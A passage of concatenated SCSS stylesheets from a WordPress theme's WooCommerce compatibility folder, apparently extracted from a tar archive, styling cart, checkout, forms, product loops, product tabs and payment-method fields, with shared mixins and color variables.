        }
        #order_review_heading {
            display: none;
        }
        #customer_details {
            width: 55%;
            float: left;
            @include for_device( tablet ) {
                width: 100%;
                float: none;
            }
        }
        .woocommerce-checkout-review-order {
            width: 40%;
            float: right;
            @include for_device( tablet ) {
                width: 100%;
                float: none;
            }
        }
    }


    /**
     * Forms
     */
    form {
        .form-row {
            @include clearfix();

            label {
                display: block;

                &.checkbox {
                    display: inline;
                }
            }

            select {
                width: 100%;
            }

            .input-text {
                box-sizing: border-box;
                width: 100%;
            }
        }

        .form-row-first,
        .form-row-last {
            width: 47%;
            overflow: visible;
        }

        .form-row-first {
            float: left;

            /*rtl:raw:
            float: right;
            */
        }

        .form-row-last {
            float: right;
        }

        .form-row-wide {
            clear: both;
        }
    }

    #payment {
        .form-row {
            select {
                width: auto;
            }
        }

        .wc-terms-and-conditions, .terms {
            text-align: left;
            padding: 0 1em 0 0;
            float: left;
        }
    }

    .woocommerce-billing-fields,
    .woocommerce-shipping-fields {
        @include clearfix();
    }

    .woocommerce-terms-and-conditions {
        margin-bottom: 1.618em;
        padding: 1.618em;
    }

    /**
     * oEmbeds
     */
    .woocommerce-oembed {
        position: relative;
    }
}

.woocommerce-account {
    .woocommerce-MyAccount-navigation {
        float: left;
        width: 30%;
    }

    .woocommerce-MyAccount-content {
        float: right;
        width: 68%;
    }
}

/**
 * RTL styles.
 */
.rtl {
    .woocommerce, .woocommerce-page {
        .col2-set {
            .col-1 {
                float: right;
            }
            .col-2 {
                float: left;
            }
        }
    }
}
compatibility/wc/_wc-cart-checkout.scss000066600000034140151143724600014236 0ustar00/**
 * Cart/checkout page
 */

// Heading
.cart-collaterals .cart_totals h2,
.woocommerce-checkout-review-order h3 {
    font-size: 1.2em;
    text-transform: uppercase;
    font-weight: 500;
    padding-bottom: 15px;
    margin-bottom: 0px;
}

.woocommerce-billing-fields h3 {
    font-size: 1.2em;
    text-transform: uppercase;
    font-weight: 500;
}

#ship-to-different-address {
    font-size: 1em;
    margin: 1.5em 0;
    text-transform: uppercase;
    font-weight: 500;
    span {
        position: relative;
        top: 1px;
        font-weight: 500;
        cursor: pointer;
    }
}

// Empty cart page
.cart-empty,
.return-to-shop {
    text-align: center;
}

// Sidebar Box style
.cart-collaterals,
.woocommerce-checkout-review-order, .group-highlight-box {
    background: #f9f9f9;
    box-shadow: 0 2px 2px 0 rgba(0,0,0,0.16), 0 0 0 1px rgba(0,0,0,0.08);
    padding: 1.8em 2em 2em 2em;
    border-radius: 2px;
    margin-top: 1em;
    @include for_device(mobile) {
        padding: 1em;
        form.cart .group_table td {
            padding-right: 0.5em;
        }
    }
    > * {
        &:last-child {
            margin-bottom: 0px;
        }
    }
}

form.woocommerce-checkout {
    @include clearfix;
    margin: 2em 0;
    @include for_device(tablet) {
        margin: 1em 0;
    }
}

.woocommerce-cart,
.woocommerce-checkout,
#add_payment_method {
    table.cart {
        .product-thumbnail {
            width: 100px;
        }
        .product-quantity {
            min-width: 8em;
        }
        img {
            width: 90px;
            box-shadow: none;
            display: block;
        }
        th,
        td {
            vertical-align: middle;
        }

        input {
            margin: 0;
            vertical-align: middle;
        }
        td.actions {
            padding: 15px 0px 15px 0px;
        }
        tr {
            th:first-of-type {
                padding-left: 0px;
            }
            th:last-of-type {
                padding-right: 0px;
                text-align: right;
            }

            td:first-of-type {
                padding-left: 1px;
            }
            td:last-of-type {
                padding-right: 0px;
                text-align: right;
            }
        }
    }

    .wc-proceed-to-checkout {
        @include clearfix;
        a.checkout-button {
            display: block;
            text-align: center;
            font-size: 1.25em;
        }
    }

    .cart-collaterals {
        .shipping_calculator {
            .button {
                width: 100%;
                float: none;
                display: block;
            }

            .shipping-calculator-button::after {
                @include iconafter( '\e019' );
            }
        }

        .cart_totals {
            p small {
                color: $subtext;
                font-size: 0.83em;
            }


            .discount td {
                color: $highlight;
            }

        }

        .cross-sells ul.products li.product {
            margin-top: 0;
        }
    }
    .checkout {
        .col-2 {
            h3#ship-to-different-address {
                float: left;
                clear: none;
            }

            .notes {
                clear: left;
            }

            .form-row-first {
                clear: left;
            }
        }

        .create-account small {
            font-size: 11px;
            color: $subtext;
            font-weight: normal;
        }

        div.shipping-address {
            padding: 0;
            clear: left;
            width: 100%;
        }

        .shipping_address {
            clear: both;
        }
    }

    #payment {

        ul.payment_methods {
            @include clearfix();
            text-align: left;
            margin: 0;
            list-style: none outside;

            > li {
                line-height: 2;
                text-align: left;
                margin: 0;
                font-weight: normal;
                border-bottom: 1px solid $color_border;
                padding-top: 1em;
                line-height: 1.2;
                position: relative;
                > label {
                    padding-left: 32px;
                    margin-bottom: 0.8em;
                    display: inline-block;
                    cursor: pointer;
                    font-weight: 500;
                    line-height: 1.2;
                    font-size: 1.05em;
                    position: relative;
                    top: -2px;
                }

                p {
                    padding: 0 2em 1.2em 32px;
                    line-height: 1.7;
                }

                img {
                    vertical-align: middle;
                    margin: -2px 0 0 0.5em;
                    padding: 0;
                    position: relative;
                    box-shadow: none;
                }

                img + img {
                    margin-left: 2px;
                }

                .input-radio {
                    position: absolute;
                    left: 0;
                }

                &.payment_method_paypal {

                    > label {
                        display: block;
                    }

                    img {
                        float: right;
                        max-height: 35px;
                        vertical-align: middle;
                        position: relative;
                        top: -5px;
                        margin-left: 15px;
                    }

                    .about_paypal {
                        float: right;
                        font-size: 0.8em;
                        border-bottom: 1px dotted currentColor;
                    }

                }

                &.payment_method_stripe {
                    img {
                        max-height: 15px;
                        margin: 2px -5px 0 !important;
                    }
                    input#payment_method_stripe {
                        top: auto !important;
                    }
                    p {
                        margin-bottom: 0;
                    }
                }

            }

            [class*="payment_method_stripe_"] {
            .input-radio {
                top: auto !important;
            }
        }

            li:not(.woocommerce-notice) {
                @include clearfix;
            }
        }

        div.payment_box {
            position: relative;
            box-sizing: border-box;
            width: 100%;
            font-size: 0.9em;
            border-radius: 2px;
            line-height: 1.5;

            input.input-text, textarea {
                border-color: darken( $secondary, 15% );
                border-top-color: darken( $secondary, 20% );
            }

            ::-webkit-input-placeholder {
                color: darken( $secondary, 20% );
            }

            :-moz-placeholder {
                color: darken( $secondary, 20% );
            }

            :-ms-input-placeholder {
                color: darken( $secondary, 20% );
            }

            .woocommerce-SavedPaymentMethods {
                list-style: none outside;
                margin: 0;
                .woocommerce-SavedPaymentMethods-token,
                .woocommerce-SavedPaymentMethods-new {
                    margin: 0 0 0.5em;
                    label {
                        cursor: pointer;
                    }
                }
                .woocommerce-SavedPaymentMethods-tokenInput {
                    vertical-align: middle;
                    margin: -3px 1em 0 0;
                    position: relative;
                }
            }

            .wc-credit-card-form {
                border: 0;
                padding: 0 2em 0em 32px;
                margin: 0;
            }
            .wc-credit-card-form-card-number,
            .wc-credit-card-form-card-expiry,
            .wc-credit-card-form-card-cvc {
                font-size: 1.5em;
                padding: 8px;
                background-repeat: no-repeat;
                background-position: right 0.618em center;
                background-size: 32px 20px;

                &.visa {
                    background-image: url('../../images/icons/credit-cards/visa.svg');
                }

                &.mastercard {
                    background-image: url('../../images/icons/credit-cards/mastercard.svg');
                }

                &.laser {
                    background-image: url('../../images/icons/credit-cards/laser.svg');
                }

                &.dinersclub {
                    background-image: url('../../images/icons/credit-cards/diners.svg');
                }

                &.maestro {
                    background-image: url('../../images/icons/credit-cards/maestro.svg');
                }

                &.jcb {
                    background-image: url('../../images/icons/credit-cards/jcb.svg');
                }

                &.amex {
                    background-image: url('../../images/icons/credit-cards/amex.svg');
                }
                &.discover {
                    background-image: url('../../images/icons/credit-cards/discover.svg');
                }
            }

            span.help {
                font-size: 0.857em;
                color: $subtext;
                font-weight: normal;
            }

            .form-row {
                margin: 0 0 0.5em;
            }

            p:last-child {
                margin-bottom: 0;
            }

        }

        .place-order {
            padding: 2em 0 0 0;
        }

    }
}


/* Minimal style for cart/checkout page */

// Messages
.woocommerce-form-coupon-toggle,
.woocommerce-form-login-toggle {
    .woocommerce-message,
    .woocommerce-info {
        max-width: 600px;
        margin: 1em auto 1em;
        border: 0px none;
        padding: 0px;
        background: none;
        text-align: center;
        &:before {
            display: inline-block;
            position: relative;
            top: auto;
            left: auto;
            font-size: 0.8em;
            margin-right: 0.4em;
        }
    }
}


.woocommerce-form-login-toggle {
    .woocommerce-info {
        &:before {
            content: '\e03a';
        }
    }
}
.woocommerce-form-coupon-toggle {
    .woocommerce-info {
        &:before {
            content: '\e600';
        }
    }
}


// Cart Collaterals Box.
.cart-collaterals {

    table {
        &.shop_table {
            background: none;
            border: none;
            th {
                width: 30%;
            }
            tr, td, th {
                background: none;
                //border: none;
            }
            th {
                padding-left: 0px;
            }
            td {
                text-align: right;
            }
        }
    }
}


// Login form
.woocommerce-page {

    .woocommerce-form-login {
        max-width: 500px;
        margin: 1em auto;
        .form-row {
            width: 100%;
            float: none;
            .button {
                width: 100%;
                text-align: center;
                display: block;
            }
        }

        .woocommerce-form__label-for-checkbox {
            display: inline-block;
            margin-top: 12px;
            input[type="checkbox"] {
                position: relative;
                margin-top: -1px;
            }
        }
        .lost_password {
            float: right;
            margin: -37px 0px 0px;
        }
    }

    // Coupon Form
    .actions {
        .button[type="submit"] {
            float: right;
        }
        .coupon {
            float: left;
            width: 50%;
        }
    }
    .woocommerce-form-coupon {
        max-width: 500px;
        margin: 2em auto;
    }
    .input-group-text-button, .coupon {
        position: relative;
        min-width: 50%;
        label {
            display: none;
        }
        .input-text {
            padding-right: 3em;
            width: 100%;
        }
        .button {
            position: absolute;
            top: 0px;
            right: 0px;
            width: 3em;
            height: 2.6em;
            overflow: hidden;
            display: block;
            background: transparent;
            border-color: transparent;
            &:hover {
                box-shadow: none;
                &:before {
                    color: #252525;
                }
            }
            &:before {
                font-family: "WooCommerce";
                content: "\e008";
                color: #CCCCCC;
                font-size: 17px;
                margin-right: 2em;
            }
        }
    }
}

.later-wc-version {
	.woocommerce-form-login {
		.lost_password {
			float: none;
			clear: both;
			text-align:right;
			margin-top: 0;
			padding: 0 3px;
		}
		.woocommerce-form-login__rememberme{
			margin-top: 5px;
			margin-bottom: 15px;
		}
	}
}
// Checkout Review Order Box.
.woocommerce-checkout-review-order {

    table {
        &.shop_table {
            tr, td, th {
                //border: none;
                padding-left: 0px;
            }

            tr {
                &.cart-subtotal td,
                .product-total {
                    text-align: right;
                }

            }

            tbody {
                tr {
                    .product-name {
                        width: 180px;
                    }
                    td {
                        border-top: 1px solid $color_border;
                    }
                    &:last-of-type td {
                        border-bottom: 1px solid $color_border;
                    }
                }
            }
            tfoot {
                tr {
                    &.shipping {
                         p {
                             margin-bottom: 0px;
                         }
                    }
                }
                tr:last-of-type {
                    th,td {
                        //border-bottom: 2px solid $color_border;
                    }
                }
                .order-total .amount {
                    font-size: 1.5em;
                }
            }
        }
    }
    #place_order {
        display: block;
        width: 100%;
    }
}

compatibility/wc/_wc-order.scss000066600000003246151143724600012620 0ustar00/**
* Order page
*/
ul.order_details {
    @include clearfix();
    margin: 0 0 3em;
    list-style: none;

    li {
        float: left;
        margin-right: 2em;
        text-transform: uppercase;
        font-size: 0.715em;
        line-height: 1;
        border-right: 1px dashed darken( $secondary, 10% );
        padding-right: 2em;
        margin-left: 0;
        padding-left: 0;
        list-style-type: none;

        strong {
            display: block;
            font-size: 1.4em;
            text-transform: none;
            line-height: 1.5;
        }

        &:last-of-type {
            border: none;
        }
    }
}

.wc-bacs-bank-details-account-name {
    font-weight: bold;
}

.woocommerce-order-downloads,
.woocommerce-customer-details,
.woocommerce-order-details {
    margin-bottom: 2em;

    *:last-child {
        margin-bottom: 0;
    }
}
.woocommerce-customer-details {
    address {
        font-style: normal;
        margin-bottom: 0;
        border: 1px solid rgba(0, 0, 0, 0.1);
        border-bottom-width: 2px;
        border-right-width: 2px;
        text-align: left;
        width: 100%;
        border-radius: 5px;
        padding: 6px 12px;
    }
    .woocommerce-customer-details--phone,
    .woocommerce-customer-details--email {
        margin-bottom: 0;
        padding-left: 1.5em;
    }
    .woocommerce-customer-details--phone::before {
        @include iconbefore( '\e037' );
        margin-left: -1.5em;
        line-height: 1.75;
        position: absolute;
    }
    .woocommerce-customer-details--email::before {
        @include iconbefore( '\e02d' );
        margin-left: -1.5em;
        line-height: 1.75;
        position: absolute;
    }
}compatibility/wc/_wc-forms.scss000066600000007427151143724600012640 0ustar00/**
* Forms
*/
form .form-row {
    padding: 3px;
    margin: 0 0 6px;

    [placeholder]:focus::-webkit-input-placeholder {
        transition: opacity 0.5s 0.5s ease;
        opacity: 0;
    }

    label {
        line-height: 2;
    }

    label.hidden {
        visibility: hidden;
    }

    label.inline {
        display: inline;
    }

    .woocommerce-input-wrapper {
        .description {
            background: #1e85be;
            color: #fff;
            border-radius: 3px;
            padding: 1em;
            margin: .5em 0 0;
            clear: both;
            display: none;
            position: relative;

            a {
                color: #fff;
                text-decoration: underline;
                border: 0;
                box-shadow: none;
            }

            &:before {
                left: 50%;
                top: 0%;
                margin-top: -4px;
                transform: translatex(-50%) rotate(180deg);
                content: "";
                position: absolute;
                border-width: 4px 6px 0 6px;
                border-style: solid;
                border-color: #1e85be transparent transparent transparent;
                z-index: 100;
                display: block;
            }
        }
    }

    select {
        cursor: pointer;
        margin: 0;
    }

    .required {
        color: red;
        font-weight: 700;
        border: 0 !important;
        text-decoration: none;
        visibility: hidden; // Only show optional by default.
    }

    .optional {
        visibility: visible;
    }

    .input-checkbox {
        display: inline;
        margin: -2px 8px 0 0;
        text-align: center;
        vertical-align: middle;
    }

    input.input-text,
    textarea {
        box-sizing: border-box;
        width: 100%;
        margin: 0;
        outline: 0;
        line-height: normal;
    }

    textarea {
        height: 4em;
        line-height: 1.5;
        display: block;
    }

    .select2-container {
        width: 100%;
        line-height: 2em;
    }

    &.woocommerce-invalid {
        label {
            color: $red;
        }
        .select2-container,
        input.input-text,
        select {
            border-color: $red;
        }
    }

    &.woocommerce-validated {
        .select2-container,
        input.input-text,
        select {
            border-color: $green;
        }
    }

    ::-webkit-input-placeholder {
        line-height: normal;
    }

    :-moz-placeholder {
        line-height: normal;
    }

    :-ms-input-placeholder {
        line-height: normal;
    }
}

form.login,
form.checkout_coupon,
form.register {
    padding: 20px;
    margin: 2em 0;
    text-align: left;
    border-radius: 1px;
}

form.checkout_coupon {
    border: 2px dashed #eaeaea;
}

ul#shipping_method {
    list-style: none outside;
    margin: 0;
    padding: 0;

    li {
        margin: 0;
        padding: 4px 0px;
        text-indent: -22px;
        list-style: none outside;
        input {
            margin: 3px 0.5ex;
        }
        label {
            display: inline;
        }
        &:first-child {
            padding-top: 0px;
        }
    }

    .amount {
        //font-weight: 700;
    }
}

/* Checkout form */
#customer_details {
    margin-bottom: 2em;
}

/* Shipping calculator form */
.woocommerce-shipping-calculator {
    margin-bottom: 0;

    .shipping-calculator-form {
        margin: 15px 0px;
    }

    p {
        margin-bottom: 0px;
    }

    .form-row {
        padding: 0;
        margin: 0 0 10px;
        font-size: 0.85em;
    }
    #calc_shipping_country_field {
        margin-bottom: 13px;
        text-align: left;
    }
    select {
        text-align: left;
    }
    button {
        font-size: 0.85em;
        display: block;
        width: 100%;
        min-height: auto;
    }
}compatibility/wc/_wc-loop.scss000066600000010453151143724600012454 0ustar00/**
* Product loops
*/
.woocommerce {
    .woocommerce-loop-category__title {
        margin-top: 10px;
        padding: 0;
        font-size: 1em;
    }
    ul.products li.product {
        h3,
        .woocommerce-loop-product__title
        {
            padding: 0;
            margin: 0;
            font-size: 1.1em;
            line-height: 1.35;
        }

        a img {
            width: 100%;
            height: auto;
            display: block;
        }

        strong {
            display: block;
        }

        .price {
            display: inline-block;
            font-weight: normal;
            font-size: 0.857em;

            del {
                opacity: 0.5;
                display: inline-block;
            }

            ins {
                background: none;
                font-weight: 700;
                display: inline-block;
            }

            .from {
                font-size: 0.67em;
                margin: -2px 0 0 0;
                text-transform: uppercase;
                color: rgba(desaturate($highlight, 75%), 0.5);
            }
        }
    }

    ul.products {
        margin: 0 -1em 0;
        padding: 0;
        list-style: none outside;
        clear: both;
        li.product, > li{
            list-style: none outside;
            margin: 1em 0px;
        }
    }
}


.wc-product-inner {
    position: relative;
    display: flex;
    flex-direction: column;
    height: 100%;
    &:last-child{ // only have child
        &:first-child {
            height: auto;
        }
    }
    > div {
        flex: 1;
        flex-grow: 1;
        flex-shrink: 1;
        flex-basis: auto;
    }
    .woocommerce-loop-product__desc p {
        &:last-child {
            margin-bottom: 0;
        }
    }
    .wc-product-contents {
        padding-top: 0.7em;
        padding-bottom: 0.7em;
        > * {
            margin-top: 0.7em;
            &:first-child {
                margin-top: 0px;
            }
            &:last-child {
                margin-bottom: 0;
            }
        }
    }

    .wc-product__part {

        &:last-child {
            margin-bottom: 0px;
        }
        .ajax_add_to_cart.added {
            display: none;
        }
    }

    .wc-product-media {
        position: relative;
        flex-shrink: initial;
        flex-grow: 0;
        text-align: center;
        margin: 0em;
        img {
            transition: all .3s ease;
            margin-bottom: 0px;
            object-fit: cover;
        }
        .secondary-image {
            position: absolute;
            z-index: 5;
            top: 0px;
            left: 0px;
            right: 0px;
            display: block;
            height: auto;
            opacity: 0;
        }
    }

    .wc-product__category,
    .wc-product__price,
    .wc-product__rating {
        line-height: 1;
    }
}

// Secondary image when hover if exist
.product-has-gallery {
    > .wc-product-inner {
        &:hover {
            img {
                opacity: 0;
            }
            .secondary-image {
                opacity: 1;
            }
        }
    }
}

.wc-loop-cats-separator {
    clear: both !important;;
    flex: none !important;
    display: block !important;
    width: 100%;
}

.wc-grid-view {
    .hide-in-grid {
        display: none;
    }
}

// List view
.wc-list-view {
    .hide-in-list {
        display: none;
    }
    .product {
        &.customify-col:not(.product-category) {
            width: 100%;
            flex: none;
            max-width: 999999px;
            .wc-product-inner {
                flex-direction: row;
                @include for_device(mobile) {
                    flex-direction: column;
                }
                .wc-product-media {
                    flex-basis: 32%;
                    margin-right: 2em;
                    @include for_device(mobile) {
                        flex-direction: column;
                        flex-basis: 100%;
                        margin-right: 0;
                    }
                }
                .wc-product-contents {
                    flex-basis: 68%;
                    @include for_device(mobile) {
                        flex-basis: 100%;
                    }
                    display: inline-block;
                    flex-direction: column;
                }
            }
        }
    }
}compatibility/wc/_woocommerce-mixins.scss000066600000011612151143724600014716 0ustar00/**
 * Deprecated
 * Fallback for bourbon equivalent
 */
@mixin clearfix() {
	*zoom: 1;

	&::before,
	&::after {
		content: ' ';
		display: table;
	}

	&::after {
		clear: both;
	}
}

/**
 * Deprecated
 * Vendor prefix no longer required.
 */
@mixin border_radius($radius: 1px) {
	border-radius: $radius;
}

/**
 * Deprecated
 * Vendor prefix no longer required.
 */
@mixin border_radius_right($radius: 1px) {
	border-top-right-radius: $radius;
	border-bottom-right-radius: $radius;
}

/**
 * Deprecated
 * Vendor prefix no longer required.
 */
@mixin border_radius_left($radius: 1px) {
	border-top-left-radius: $radius;
	border-bottom-left-radius: $radius;
}

/**
 * Deprecated
 * Vendor prefix no longer required.
 */
@mixin border_radius_bottom($radius: 1px) {
	border-bottom-left-radius: $radius;
	border-bottom-right-radius: $radius;
}

/**
 * Deprecated
 * Vendor prefix no longer required.
 */
@mixin border_radius_top($radius: 1px) {
	border-top-left-radius: $radius;
	border-top-right-radius: $radius;
}

/**
 * Deprecated
 * Vendor prefix no longer required.
 */
@mixin opacity( $opacity: 0.75 ) {
	opacity: $opacity;
}

/**
 * Deprecated
 * Vendor prefix no longer required.
 */
@mixin box_shadow($shadow_x: 3px, $shadow_y: 3px, $shadow_rad: 3px, $shadow_in: 3px, $shadow_color: #888) {
	box-shadow: $shadow_x $shadow_y $shadow_rad $shadow_in $shadow_color;
}

/**
 * Deprecated
 * Vendor prefix no longer required.
 */
@mixin inset_box_shadow($shadow_x: 3px, $shadow_y: 3px, $shadow_rad: 3px, $shadow_in: 3px, $shadow_color: #888) {
	box-shadow: inset $shadow_x $shadow_y $shadow_rad $shadow_in $shadow_color;
}

/**
 * Deprecated
 * Vendor prefix no longer required.
 */
@mixin text_shadow($shadow_x: 3px, $shadow_y: 3px, $shadow_rad: 3px, $shadow_color: #fff) {
	text-shadow: $shadow_x $shadow_y $shadow_rad $shadow_color;
}

/**
 * Deprecated
 * Vendor prefix no longer required.
 */
@mixin vertical_gradient($from: #000, $to: #fff) {
	background-color: $from;
	background: -webkit-linear-gradient($from, $to);
}

/**
 * Deprecated
 * Vendor prefix no longer required.
 */
@mixin transition($selector: all, $animation: ease-in-out, $duration: 0.2s) {
	transition: $selector $animation $duration;
}

/**
 * Deprecated
 * Use bourbon mixin instead `@include transform(scale(1.5));`
 */
@mixin scale($ratio: 1.5) {
	-webkit-transform: scale($ratio);
	transform: scale($ratio);
}

/**
 * Deprecated
 * Use bourbon mixin instead `@include box-sizing(border-box);`
 */
@mixin borderbox() {
	box-sizing: border-box;
}

@mixin darkorlighttextshadow($a, $opacity: 0.8) {
	@if lightness($a) >= 65% {
		@include text_shadow(0, -1px, 0, rgba(0, 0, 0, $opacity));
	}
	@else {
		@include text_shadow(0, 1px, 0, rgba(255, 255, 255, $opacity));
	}
}

/**
 * Objects
 */
@mixin menu() {
	@include clearfix();

	li {
		display: inline-block;
	}
}

@mixin mediaright() {
	@include clearfix();

	img {
		float: right;
		height: auto;
	}
}

@mixin medialeft() {
	@include clearfix();

	img {
		float: right;
		height: auto;
	}
}

@mixin ir() {
	display: block;
	text-indent: -9999px;
	position: relative;
	height: 1em;
	width: 1em;
}

@mixin icon( $glyph: '\e001' ) {
	font-family: 'WooCommerce';
	speak: none;
	font-weight: normal;
	font-variant: normal;
	text-transform: none;
	line-height: 1;
	margin: 0;
	text-indent: 0;
	position: absolute;
	top: 0;
	left: 0;
	width: 100%;
	height: 100%;
	text-align: center;
	content: $glyph;
}

@mixin icon_dashicons( $glyph: '\f333' ) {
	font-family: 'Dashicons';
	speak: none;
	font-weight: normal;
	font-variant: normal;
	text-transform: none;
	line-height: 1;
	-webkit-font-smoothing: antialiased;
	margin: 0;
	text-indent: 0;
	position: absolute;
	top: 0;
	left: 0;
	width: 100%;
	height: 100%;
	text-align: center;
	content: $glyph;
}

@mixin iconbefore( $glyph: '\e001' ) {
	font-family: 'WooCommerce';
	speak: none;
	font-weight: normal;
	font-variant: normal;
	text-transform: none;
	line-height: 1;
	-webkit-font-smoothing: antialiased;
	margin-right: 0.418em;
	content: $glyph;
	text-decoration: none;
}

@mixin iconbeforedashicons( $glyph: '\f333' ) {
	font-family: 'Dashicons';
	speak: none;
	font-weight: normal;
	font-variant: normal;
	text-transform: none;
	line-height: 1;
	-webkit-font-smoothing: antialiased;
	content: $glyph;
	text-decoration: none;
}

@mixin iconafter( $glyph: '\e001' ) {
	font-family: 'WooCommerce';
	speak: none;
	font-weight: normal;
	font-variant: normal;
	text-transform: none;
	line-height: 1;
	-webkit-font-smoothing: antialiased;
	margin-left: 0.618em;
	content: $glyph;
	text-decoration: none;
}

@mixin loader() {
	&::before {
		height: 1em;
		width: 1em;
		display: block;
		position: absolute;
		top: 50%;
		left: 50%;
		margin-left: -0.5em;
		margin-top: -0.5em;
		content: '';
		animation: spin 1s ease-in-out infinite;
		background: url('../../images/woocommerce/icons/loader.svg') center center;
		background-size: cover;
		line-height: 1;
		text-align: center;
		font-size: 2em;
		color: rgba(#000, 0.75);
	}
}
compatibility/wc/_woocommerce-vars.scss000066600000001636151143724600014367 0ustar00/**
 * WooCommerce CSS Variables
 */

$woocommerce:   	#a46497;
$green:         	#7ad03a;
$red:           	#a00;
$orange:        	#ffba00;
$blue:          	#2ea2cc;

$primary:           #a46497;                                    // Primary color for buttons (alt)
$primarytext:       desaturate(lighten($primary, 50%), 18%);    // Text on primary color bg

$secondary:         desaturate(lighten($primary, 40%), 21%);    // Secondary buttons
$secondarytext:     desaturate(darken($secondary, 60%), 21%);   // Text on secondary color bg

$highlight:         adjust-hue($primary, 150deg);               // Prices, In stock labels, sales flash
$highlightext:      desaturate(lighten($highlight, 50%), 18%);  // Text on highlight color bg

$contentbg:         #fff;                                       // Content BG - Tabs (active state)
$subtext:           #777;                                       // small, breadcrumbs etccompatibility/wc/_wc-single-product.scss000066600000015753151143724600014452 0ustar00/*
# Product meta
# Product tabs
# Upsell + Related products section
*/

/**
* Nav Product - next - prev button
*/
.product_title-wrapper {
    position: relative;
}
.wc-product-nav {
    position: absolute;
    top: 0.5em; right: -5px;
    > a {
        margin: 0px 3px;
        display: inline-block;
        &:hover {
            .nav-thumbnail {
                z-index: 100;
                left: 50%;
                opacity: 1;
            }
        }
    }
    .nav-thumbnail {
        position: absolute;
        top: 100%;
        left: -999999px;
        width: 100px;
        display: block;
        transform: translateX( - 50% );
        transition: opacity .25s ease-in-out;
        z-index: -1;
        opacity: 0;
        img {
            display: block;
            margin-top: 10px;
            box-shadow: 1px 1px 10px rgba(0,0,0,.06);
        }
    }
}

.nav-in-title {
    .product_title {
        margin-right: 70px;
    }
}


/**
Product Slider
 */

.flex-direction-nav {
    list-style: none;
    margin: 0px !important;
    padding: 0px !important;
    .flex-prev,
    .flex-next {
        position: absolute;
        display: block;
        top: 50%;
        transform: translate(0, -50%);
        padding: 0;
        border: none;
        outline: none;
        z-index: 15;
        opacity: 0;
        transition: opacity 0.3s linear;
    }
    .flex-prev {
        left: 15px;
    }

    .flex-next {
        right: 15px;
    }
    .flex-disabled {
        .nav-btn {
            visibility: hidden;
        }
    }
}
.woocommerce-product-gallery:hover {
    .flex-direction-nav {
        .flex-prev,
        .flex-next {
            opacity: 1;
        }
    }
}
/**
* Product meta
 */
.product_meta {
    font-size: 0.875em;
    color: $color_meta;
    margin: 1.41575em 0px;
    > span {
        display: block;
        padding: 6px 0px;
        border-top: 1px dotted $color_border;
    }
}

/**
* Product tabs
*/

.woocommerce-tabs {
    clear: both;
    margin-bottom: 2em;
    ul.tabs {
        list-style: none;
        padding: 0;
        margin: 0 0 1.41575em;
        position: relative;
        li {
            position: relative;
            a {
                color: currentColor;
            }
        }
    }
    &.wc-tabs-horizontal {
        ul.tabs {
            border-bottom: 1px solid $color_border;
            li {
                border-bottom: 1px solid transparent;
                display: inline-block;
                position: relative;
                z-index: 0;
                padding: 0;
                margin: 0 1em -1px;
                &:first-child {
                    margin-left: 0px;
                }
                &:last-child {
                    margin-right: 0px;
                }
                a {
                    display: inline-block;
                    padding: 0.5em 0px;
                    font-size: 1.05em;
                }
                &.active {
                    z-index: 2;
                    border-bottom-color: $color_primary;
                    a {
                        color: $color_primary;
                        text-shadow: inherit;
                    }

                }

            }
        }
    } // wc-tabs-horizontal

    &.wc-tabs-vertical {

        .wc-tabs {
            width: 26%;
            margin-right: 4%;
            margin-bottom: 2em;
            float: left;
            @include for_device( mobile ) {
                width: 100%;
                margin-right: 0;
                margin-bottom: 2em;
            }
            li {
                border-bottom: 1px solid $color_border;
                &:first-child {
                    border-top: 1px solid $color_border;
                }
                &:after {
                    content: '';
                    width: .5em;
                    height: .5em;
                    display: block;
                    position: absolute;
                    top: 50%;
                    right: .8em;
                    left: auto;
                    opacity: 0;
                    transform: rotate(45deg) translateY( -50% );
                    border-top: 1px solid #111111;
                    border-right: 1px solid #111111;
                    transition: all .3s ease;
                }
                a {
                    display: block;
                    padding: 0.72em 0px;
                    color: currentColor;
                }
                &.active {
                    &:after {
                        opacity: 1;
                    }
                }

            }
        }
        .wc-tabs-contents {
            width: 70%;
            float: right;
            @include for_device( mobile ) {
                width: 100%;
            }
        }
    }

    .wc-tabs-contents {
        margin-bottom: 2em;
        .woocommerce-Tabs-panel--description {
            p:last-child {
                margin-bottom: 0px;
            }
        }
    }
}

/**
Section and Toggle
 */
.wc-tabs-sections, .wc-tabs-toggle {
    .woocommerce-Reviews-title {
        display: none;
    }
}

.wc-tabs-sections {
    .tab-section-heading {
        font-size: 1.4em;
        a {
            color: currentColor;
        }
    }
    .tab-section-content {
        margin-top: 0px;
        padding-top: 0px;
        margin-bottom: 2em;
    }
}

.wc-tabs-toggle {
    .tab-section-heading {
        border-bottom: 1px solid $color_border;
        font-size: 1.1em;
        font-weight: normal;
        display: block;
        padding: 0;
        margin: 0px;
        a {
            color: currentColor;
            display: block;
            padding: 0.9em 0px;
            position: relative;
        }

        a {
            &:before, &:after {
                content: "";
                display: block;
                background-color: $color_border;
                position: absolute;
                top: 50%;
                right: 0px;
                opacity: 1;
                transition: opacity 0.3s linear;
            }

            &:before{
                width: 13px;
                height: 2px;
                top: 50%;
                transform: translateY( - 50% );
            }

            &:after {
                width: 2px;
                height: 13px;
                top: 50%;
                right: 6px;
                transform: translate( 1px, -50% );
            }

            &.active {
                &:after{
                    opacity: 0;
                }
            }

        }
    }

    .tab-section.active {
        .tab-section-heading {
            a {
                &:after {
                    opacity: 0;
                }
            }
        }
    }
}
.tab-section-content {
    padding-top: 1em;
}



/* Upsell + Related products section */
.related.products, .upsells.products {
    margin-bottom: 2em;
    h2 {
        font-size: 1.4em;
        margin-bottom: 0px;
    }
}

/**
* WooCommerce related heading
 */
.woocommerce-Reviews-title,
.cross-sells h2,
.cart_totals h2,
.wc-tab > h2
{
    font-size: 1.4em;
    margin-bottom: 1em;
}


compatibility/wc/_wc-product.scss000066600000021331151143724600013160 0ustar00/**
* Product page
*/
div.product {
    div.images {
        @include for_device(mobile) {
            order: 5;
        }
    }

    div.thumbnails {
        @include clearfix();

        a {
            float: left;
            width: 30.75%;
            margin-right: 3.8%;
            margin-bottom: 1em;
        }

        a.last {
            margin-right: 0;
        }

        a.first {
            clear: both;
        }

        &.columns-1 {
            a {
                width: 100%;
                margin-right: 0;
                float: none;
            }
        }

        &.columns-2 {
            a {
                width: 48%;
            }
        }

        &.columns-4 {
            a {
                width: 22.05%;
            }
        }

        &.columns-5 {
            a {
                width: 16.9%;
            }
        }
    }


    #reviews {
        .comment {
            @include mediaright();
        }
    }
}

.woocommerce-pagination {
    ul.page-numbers {
        @include menu();
    }
}

div.product {
    margin-bottom: 0;
